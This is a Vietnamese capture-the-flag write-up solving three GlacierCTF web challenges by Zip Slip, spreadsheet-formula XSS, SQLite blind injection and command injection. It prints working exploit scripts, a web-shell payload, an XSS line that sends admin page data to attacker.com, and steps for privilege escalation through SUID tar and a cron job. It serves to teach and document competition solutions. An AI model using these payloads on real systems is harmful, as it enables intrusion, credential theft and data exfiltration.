Glacierctf - Web
Giải này không quá dễ nhưng cũng không quá khó (vì mình clear được web thì là nó không khó rồi) nên trong bài này mình sẽ viết chi tiết về 3 bài mình đã giải được.
Cả ba bài đều được cung cấp source code và có thể build được docker luôn nên mình làm whitebox. Hơn nữa là dạo này dự án trên công ty mình rất nhiều whitebox từ đó mà mình cũng đọc code nhanh hơn và tìm được phương hướng cũng sớm. Bây giờ thì bắt đầu thôi.
Fuzzybytes
Với bài web1 này thì không quá khó, đọc thoáng qua description thì có liên quan đến upload file. Build docker lên để có cái nhìn trực quan hơn và dễ liên kết các chức năng lại.
Chức năng chính của web đó là cho upload 1 file .tar.gz, sau đó sẽ thực hiện giải nén. Dưới đây là đoạn code chính
Tại dòng 4, vì đã có hàm basename
nên không thể path traversal ở đây được. Đến dòng 33, ứng dụng sử dụng file check_for_malicious_code.py
để kiểm tra code.
Tại file check_for_malicious_code.py
, ứng dụng sẽ giải nén và thực hiện kiểm tra, cuối cùng sẽ xóa folder vừa giải nén. Chính tại dòng 17 khi thực hiện giải nén sẽ gây ra lỗ hổng Zip Slip. Sau khi xác định được lỗ hổng cần khai thác, mình đi tìm các điều kiện cần thiết.
Đầu tiên đó phải là file có đuôi .gz
và nó cũng phải được nén với thuật toán của .tar.gz
(cái này mình cũng không rõ gọi là thuật toán hay gì nhưng mà trong lúc giải để giải thích dễ hiểu mình gọi nó là thuật toán). Như vậy luồng để khai thác bài này sẽ là upload 1 file nén lên, sau đó ứng dụng sẽ giải nén và khi giải nén mình sẽ ném 1 file shell.php
vào webroot. Dựa vào đó mình viết 1 script để gen ra file .tar.gz
như sau:
import tarfile
import os
output = "exploit.tar.gz"
path = "../../../../../../../../../../var/www/html/shell.php"
content = b"<?php phpinfo(); ?>"
def create_malicious_tar(tar_path, file_path, content):
with tarfile.open(tar_path, "w:gz") as tar:
temp_file_path = "temp.txt"
with open(temp_file_path, "wb") as temp_file:
temp_file.write(content)
tarinfo = tar.gettarinfo(temp_file_path, arcname=file_path)
with open(temp_file_path, "rb") as temp_file:
tar.addfile(tarinfo, temp_file)
os.remove(temp_file_path)
create_malicious_tar(output, path, content)
Sau khi upload lên, truy cập vào /shell.php
sẽ lấy được shell :vvv
Tiếp theo để lấy flag thì mình cần phải lên root vì flag được đặt trong /root
Thực hiện reverse shell và bắt đầu lên root thôi.
Tìm những file có SUID thì thấy có tar
nên lúc này sẽ dùng file này để leo root. Mục đích là đọc file nên mình cũng chỉ dừng ở đọc file thôi vì cố leo nữa thì nó cũng nằm trong 1 con docker thôi mà, không phá được server :vvv
SkiData
Bài này mình đánh giá là hay nhất trong giải này vì mình cũng không mạnh bypass XSS và nó cũng lắt léo nữa nên những cái học được qua bài này rất là nhiều :vvv
Cũng giống như bài trước, web2 cũng sẽ được cấp source code và mình build docker, trong lúc chờ đợi thì mình nghiên cứu source code trước. Ngoài chức năng đăng ký, đăng nhập vì nó code an toàn rồi nên mình sẽ vào thẳng chức năng chính đó là upload file excel
Đây là đoạn code xử lý upload file, nhìn nó đã an toàn. Tiếp theo là đến đoạn xử lý file upload
Đoạn này sẽ thực hiện kiểm tra xem có đủ giá trị không, nhìn thật kỹ thì có 1 chút khác đó là ở cột C sẽ kiểm tra xem đó có phải là số nguyên không.
Sau đó nó sẽ thực thi lần nữa để lấy các giá trị ở các ô và đưa vào mảng race_results
cuối cùng sẽ được hiển thị ra bên ngoài. Luồng sẽ như vậy, bây giờ sẽ build lên và thử lại để confirm
Trong source cũng cho luôn một file excel mẫu nên mình thử luôn.
Nhìn kết quả thì thấy nó khá là lạ, tại sao rank 1, 2, 3 lại được css đẹp hơn nhỉ. Đọc lại phần source chỗ gen kết quả thì thấy nó sử dụng 1 hàm style
Vậy chức năng chính của hàm style này đó chính là để tạo lên các thuộc tính cho tag img kia. Vậy nếu phần rank mình kiểm soát đó sẽ là 1 đoạn payload để thực thi XSS thì sao? Thì nó bị XSS chứ sao. Lúc này nhìn vào chỗ set các thuộc tính thì có thể suy ra payload nó sẽ là “><img/src/onerror=alert(1)>
. Nhưng nhìn lại thì phần rank này là cột C mà trong lúc kiểm tra thì nó lại cần là số nguyên vậy phải làm sao?
Nhìn kỹ lại source 1 lần nữa và so sánh với file excel này thì ứng dụng có 1 đoạn kiểm tra cột E nhưng mà cột E này trong file mẫu sẽ là trống.
Lúc này mình đi tìm hiểu về hàm evaluate
thì nó sẽ như là hàm eval
trong python vậy, nó sẽ thực thi và lấy kết quả trong ô đó cho mình. Ví dụ ô C1 của mình có giá trị là 1 thì hàm evaluate
tại ô C1 đó sẽ có kết quả là 1. Ngay lúc này mình nảy ra ý tưởng đó là, kiểm tra kiểu dữ liệu ở cột C xong thì nó sẽ thực hiện thay đổi giá trị cột C khi thực hiện hàm evaluate
ở cột E, đi tìm hiểu và googling thì thấy nó không có cách nào ngoài việc dùng VBA hay macro gì đó để thay đổi được như vậy. Lúc này mình nghĩ tới việc tại sao phải dùng hàm evaluate
tận 2 lần. Từ đó mình có cái chain như sau:
Mình sẽ đặt một hàm IF ở cột C, khi lần đầu tiên thực hiện và lấy giá trị thì sẽ cho nó trả về số nguyên.
Đến lần thứ 2, khi đã qua hàm kiểm tra, ứng dụng lấy giá trị và gán vào biến thì lúc này mình sẽ khiến nó trả về payload. Vậy căn cứ vào đâu để làm điều kiện cho hàm IF???? Nhìn lại vào cột E, đúng rồi sẽ lấy giá trị
Imported
.
Như vậy là xong, đến lúc làm cái hàm IF rồi và đây chính là hàm IF của mình dùng
=IF(E2="Imported", "1""><img/src/onerror=alert(1)>", 1)
Thực hiện upload lên và xem kết quả thì đã thành công rồi.
Vậy giờ flag sẽ ở đâu? Quay lại nhìn docker thì thấy nó sẽ nằm ở username của admin
Mà username sẽ được hiển thị ở trang index như này
Vậy thì payload của mình sẽ như sau:
=IF(E2="Imported", "1""><img/src/onerror=fetch('/my_races').then(res => res.text()).then(data => {fetch('https://attacker.com', {method:'POST', body:data, mode:'no-cors'})})>", 1)
Khi upload lên và xem thì nó đã gây ra lỗi 500
Nhìn vào log thì thấy do chứa dấu cách trong payload
Sửa lại một chút và thử lại thì thấy ngon rồi
Giờ phang vào, report cho admin và lấy flag thôi
GlacierChat
Với bài web3 này thì mình hơi bí vì cũng 11h rồi, ngồi 30p không tìm thấy hướng giải quyết nên mình quyết định đi ăn với anh em. Ăn xong thì quay trở lại, mình làm thêm vài ván game vui vui. Sau đó thì mình bắt đầu quay lại chơi CTF sau những giờ chơi game căng thẳng. Đúng là sau khi game xong thì mình đã nhìn thấy cái hướng để giải quyết bài này. Nó dài và thời gian giới hạn của 1 host là 10 phút nên mình phải làm thế nào để giải nhanh nhất có thể.
Đầu tiên là là chức năng đăng nhập
Sau khi login xong sẽ được chuyển về trang /totp.php
để nhập OTP, sau đó mới được vào trang chủ ứng dụng
Bên cạnh đó sẽ có trang /reset.php
để thực hiện đặt reset_code
Tại hàm getResetCode
sẽ thực hiện echo ra reset_code nhưng muốn echo ra được thì giá trị của biến prefix
sẽ phải khác rỗng. Mà để khác rỗng thì mình chỉ cần truyền giá trị 1
cho param is_tenant
Tiếp theo đó là /set_new_password.php
, chức năng của trang này đó chính là sử dụng reset_code ở trên để reset password. Nhìn qua có thể thấy chức năng reset password này có lỗi SQL Injection và username không được chứa string “blob” - cụm từ này dùng để khai thác SQL Injection timebase trong SQLite.
Vậy xâu chuỗi lại, để có thể đăng nhập được thì mình sẽ sử dụng chức năng reset để lấy được reset_code
. Sử dụng reset_code
này để reset password của admin và tận dụng lỗi SQLi ở đây để có thể lấy được totp_secret
- Giá trị này dùng để gen OTP.
Giờ thì mình sẽ làm từng bước 1 và cần phải nhanh thì mình sẽ viết script để khai thác sau.
Lấy được reset_code
tiếp theo sẽ là reset password của admin
Giờ thì mình sẽ phải xây dựng payload để lấy được totp_secret
vì không khai thác timebase được nên mình chuyển sang error base. Sau khi tham khảo payload all the things xong thì payload để test của mình sẽ như sau:
admin' and (CASE WHEN 1=1 THEN 1 ELSE load_extension(1) END)='
Khi nó đúng thì sẽ trả về 1 và sẽ có thông báo là reset password thành công và khi sai sẽ lỗi 500. Tại sao mình lại để sai là lỗi thì mỗi khi nó reset password thành công, lúc đó reset_code
sẽ hết hạn. Mà khi thử sai thì có rất nhiều trường hợp sai và chỉ 1 trường hợp đúng, khi đó mình chỉ cần lọc 1 lần và không phải gửi request tạo reset_code
nhiều lần. Vì biết giá trị của totp_secret
là 8 nên mình sẽ đi so sánh từng ký tự thôi, lúc này payload hoàn chỉnh sẽ là:
admin' and (CASE WHEN substr(totp_secret,1,1)='a' THEN 1 ELSE load_extension(1) END)='
Đoạn này sẽ lặp đi lặp lại nên mình viết script để lấy được totp_secret
import requests
import re
import urllib3
HOST = "http://localhost:9090"
# proxy = {"https": "http://127.0.0.1:8080"}
proxy = None
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_code():
URL = HOST + "/reset.php"
data = {"form_name": "reset", "username": "admin", "is_tenant": "1"}
pattern = r'Warning: Reset code (.*) uses custom'
match = re.search(pattern, requests.post(URL, data=data, proxies=proxy, verify=False).text)
return (match.group(1))
def set_pass():
URL = HOST + "/set_new_password.php"
data = {"form_name": "set_new_password", "code": get_code(), "username": "admin", "password": "1", "password_confirm": "1"}
requests.post(URL, data=data, proxies=proxy, verify=False)
def get_totp():
URL = HOST + "/set_new_password.php"
code = get_code()
totp_result = ''
index = 1
while index < 9:
for char in 'ABCDEFGHIJKLMNPQRSTUVWXYZ234567':
payload = f"admin' and (CASE WHEN SUBSTR(totp_secret,{index},1)='{char}' THEN 1 ELSE load_extension('x') END)='"
data = {"form_name": "set_new_password", "code": f"{code}", "password": "1",
"password_confirm": "1", "username": payload}
res = requests.post(URL, data=data, proxies=proxy, verify=False)
if "Successfully reset password" in res.text:
totp_result+=char
code = get_code()
br = True
break
if br:
index += 1
br = False
return totp_result
print(get_totp())
set_pass()
Đây sẽ là kết quả của nó
Lấy được totp_secret
rồi thì mình sẽ thực hiện gen OTP hợp lệ và login thôi. Mình mình rất lười nên mình sửa lại code đề bài và để tận dụng cho những lần sau. Mình thêm 1 hàm getOTP
này vào file web\utils\totp.php
Sau đó sửa lại đoạn message khi nhập OTP sai trong file web\html\totp.php
Và thế là khi login thành công, lần đầu mình sẽ nhập OTP bừa khi đó sẽ lấy được OTP đúng. Lần thứ 2 sẽ nhập OTP đúng :vvv
Đây sẽ là giao diện khi vào trang chủ
Ứng dụng cho tạo các note, có thể là kiểu text hay là media. Với kiểu text xử lý rất ít nên mình xử lý nó trước
Tại hàm insertTextContent
sẽ thực hiện insert content của mình vào bảng và nó cũng đặt giá trị của approved
là 1
luôn nên đoạn sau sẽ không dùng được. Tại sao lại không dùng được thì mình sẽ giải thích lý do sau.
Với kiểu media, nó sẽ xử lý rất nhiều nhưng mình để ý giá trị của media_uri
và message
. Nó sẽ được truyền vào hàm insertMediaContent
để xử lý.
Khi này ứng dụng thực hiện curl
đến URI mình truyền vào để lấy nội dung, nhưng sau đó nội dung này không được lưu vào bảng mà thứ được lưu vào bảng chính là URI và cái nữa đó chính giá trị của approved
là 0
. Khi này mình đã thấy cấn cấn rồi nên mình thử sử dụng chức năng này để kiểm tra
Khi thêm thành công, những note có giá trị approved
sẽ được xét duyệt, có chức năng xem trước và duyệt.
Cả 2 chức năng này đều gọi hàm fetchMediaContent
để xử lý gì đó.
Tại hàm fetchMediaContent
này sẽ dùng hàm shell_exec
để thực hiện command với giá trị media_content
- chính là cột content
lúc nãy mình thắc mắc.
Giờ thì mình sẽ giải thích tại sao kiểu text không được, nguyên nhân là khi note dạng text thì nó sẽ auto được duyệt nên sẽ không có chức năng xem trước và duyệt. Nếu không có chức năng đó thì sẽ không thể vào hàm fetchMediaContent
để gây ra lỗi cmdi được. Vì vậy chỉ còn kiểu media là được, nhưng như mình đã nói thì cột content
đó chính là URI mình truyền. Mà giá trị đó thì đã được kiểm tra
Khi đó mình nghĩ đến trường hợp bypass như sau:
Với
http://1.1.`ls`.1
thì sẽ không đi qua đoạn kiểm tra đượcVới giá trị
a://1.1.`ls`.1
thì lại đi qua được nên CMDi khá dễ
Lúc này mình đã nghĩ tới flag rồi nên đi tìm. Nhưng mà lần này flag vẫn phải lên root tiếp do đó mình cần phải reverse shell. Đầu tiên mình thử payload luôn nhưng nó lại kết nối không ổn định, do đó mình chuyển sang hướng ghi shell.
Trong webroot thì người dùng www-data
có thể ghi được nên mình thực hiện shell luôn và lần này phải chia ra từng lần ghi nhỏ
Lần đầu sẽ ghi đoạn
<?
vào file/var/www/html/shell.php
Lần 2 sẽ là
system($_REQUEST[0])
vào file/var/www/html/shell.php
Lần 3 là
?>
vào file/var/www/html/shell.php
Payload lần lượt là:
a://`echo$IFS'<?php'>/var/www/html/shell.php`.1.1.1
a://`echo$IFS'system($_GET[0]);'>>/var/www/html/shell.php`.1.1.1
a://`echo$IFS'?>'>>/var/www/html/shell.php`.1.1.1
Lúc này script để ghi shell khi lần đầu login chưa tạo note nào như sau
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = "https://7a9d330fdef0e5a45b5817637f78e2b0.glacierchat.web.glacierctf.com"
def preview(id, cookie):
cookie = {"PHPSESSID": cookie}
data = {"form_name": "preview_content", "id": id}
requests.post(URL, cookies=cookie, data=data, verify=False)
def write_shell(start, cookie):
cookie_full = {"PHPSESSID": cookie}
data1 = {"form_name": "createPost", "content_type": "media", "content": "1", "message": "1", "password_protection": "1", "media_uri": "a://`echo$IFS'<?php'>/var/www/html/shell.php`.1.1.1"}
requests.post(URL, cookies=cookie_full, data=data1, verify=False)
preview(1, cookie)
data2 = {"form_name": "createPost", "content_type": "media", "content": "1", "message": "1", "password_protection": "1", "media_uri": "a://`echo$IFS'system($_GET[0]);'>>/var/www/html/shell.php`.1.1.1"}
requests.post(URL, cookies=cookie_full, data=data2, verify=False)
preview(2, cookie)
data3 = {"form_name": "createPost", "content_type": "media", "content": "1", "message": "1", "password_protection": "1", "media_uri": "a://`echo$IFS'?>'>>/var/www/html/shell.php`.1.1.1"}
requests.post(URL, cookies=cookie_full, data=data3, verify=False)
preview(3, cookie)
start = 1
cookie = '381e9bi7sks1gc9om015g8r0e7' # change this
write_shell(start, cookie)
Khi ghi shell xong mình thực hiện reverse shell về để tìm hướng lên root. Đọc qua 1 lượt config thì có 1 chỗ mình chưa sử dụng đó chính là cron
Khi mình thử ghi đè đoạn sau vào file cron.php và đợi nó chạy. Sau đó xem log thì thấy người thực hiện nó chính là root
<?php
system('whoami');
?>
Khi đó mình chỉ cần đọc flag và ghi ra thôi là xong. Giờ mới đến đoạn khai thác trên server chính này. Mỗi lần tạo host thì sẽ chỉ có 10p thôi nên mình cần sử dụng script và khai thác thật nhanh
Khi lấy được host thì mình chạy script để lấy totp_secret
luôn, sau đó lấy OTP và login thành công
Khi đó sẽ thực hiện ghi shell với Cookie vừa lấy
Ghi xong sẽ truy cập shell.php
và reverse shell
Và cuối cùng là lấy flag
Tổng kết
Cuối cùng thì mình đã clear được web, tất cả các file docker mình sẽ để ở đây để mọi người có thể làm. Cảm ơn mọi người đã đọc đến đây. Hẹn gặp lại ở những bài viết tiếp theo!!